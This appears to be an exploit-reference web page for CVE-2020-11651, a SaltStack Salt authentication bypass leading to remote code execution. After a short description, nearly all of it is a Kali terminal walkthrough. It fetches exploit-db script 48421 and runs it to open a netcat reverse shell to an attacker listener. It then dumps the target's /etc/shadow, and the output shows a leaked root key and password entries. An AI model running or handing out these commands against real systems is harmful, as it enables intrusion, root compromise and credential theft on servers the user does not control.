Skip to content
HackIndex logo

HackIndex

CVE-2020-11651:
SaltStack Salt RCE

Published: Feb 25, 2026
Critical
Improper Input Validation

CVE-2020-11651 is a critical authentication-bypass flaw in SaltStack Salt’s salt-master (fixed in 2019.2.4 and 3000.2) where the ClearFuncs method-call handling doesn’t properly validate certain requests, letting a remote attacker access sensitive functions without logging in. It was publicly disclosed in late April 2020 (CVE record published April 30, 2020) and, when exploited, can allow attackers to steal tokens and execute commands on connected Salt minions, leading to remote code execution and full environment compromise (it was also reported exploited in the wild).

SaltStack RCE
┌──(kali㉿kali)-[~]
└─$ curl https://www.exploit-db.com/download/48421 -o ./48421.py
┌──(kali㉿kali)-[~]
└─$ # or on Kali
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/multiple/remote/48421.txt ./48421.py
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install salt
 
┌──(kali㉿kali)-[~]
└─$ # Exec on master
┌──(kali㉿kali)-[~]
└─$ python3 48421.py --master $TARGET_IP --exec "nc $LHOST $LPORT -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master ($TARGET_IP:$TARGET_PORT) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc $LHOST $LPORT -e /bin/sh on $TARGET_IP
[+] Successfully scheduled job: 20200504153851746472
┌──(kali㉿kali)-[~]
└─$ curl https://www.exploit-db.com/download/48421 -o ./48421.py
┌──(kali㉿kali)-[~]
└─$ # or on Kali
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/multiple/remote/48421.txt ./48421.py
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install salt
 
┌──(kali㉿kali)-[~]
└─$ # Exec on master
┌──(kali㉿kali)-[~]
└─$ python3 48421.py --master $TARGET_IP -r /etc/shadow
root:$6$<snip>:18400:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
adm:*:17834:0:99999:7:::
lp:*:17834:0:99999:7:::
sync:*:17834:0:99999:7:::
shutdown:*:17834:0:99999:7:::
halt:*:17834:0:99999:7:::
mail:*:17834:0:99999:7:::
operator:*:17834:0:99999:7:::
games:*:17834:0:99999:7:::
ftp:*:17834:0:99999:7:::
nobody:*:17834:0:99999:7:::
systemd-network:!!:18400::::::
dbus:!!:18400::::::
polkitd:!!:18400::::::
sshd:!!:18400::::::
postfix:!!:18400::::::
nginx:!!:18400::::::
named:!!:18400::::::